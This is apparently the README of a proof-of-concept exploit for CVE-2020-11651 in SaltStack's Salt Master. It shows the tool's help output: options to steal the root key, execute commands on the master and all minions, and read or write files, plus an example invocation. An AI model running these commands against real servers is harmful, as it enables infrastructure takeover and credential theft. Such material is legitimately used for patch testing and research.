PoC for CVE-2020-11651
Requires Python3 tested on 3.8
python3.8 -m pip install pyzmq msgpack
⇒ python3.8 poc.py -h
usage: poc.py [-h] [-p PORT] [-c CMD] [-k] [-m] [-r READ] [-w WRITE] [-f FILE] server [server ...]
Exploit CVE-2020-11651
positional arguments:
server Target Server IP or Host
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Target Port (Default=4506)
-c CMD, --cmd CMD Command to execute
-k, --key Retrieve Root Key
-m, --minions Run CMD on all active minions
-r READ, --read READ Read a file from the Salt Master
-w WRITE, --write WRITE
Write a file from the Salt Master
-f FILE, --file FILE Used with --write, local file to write to Salt Master
Example: poc.py -k 127.0.0.1 (Read the root key)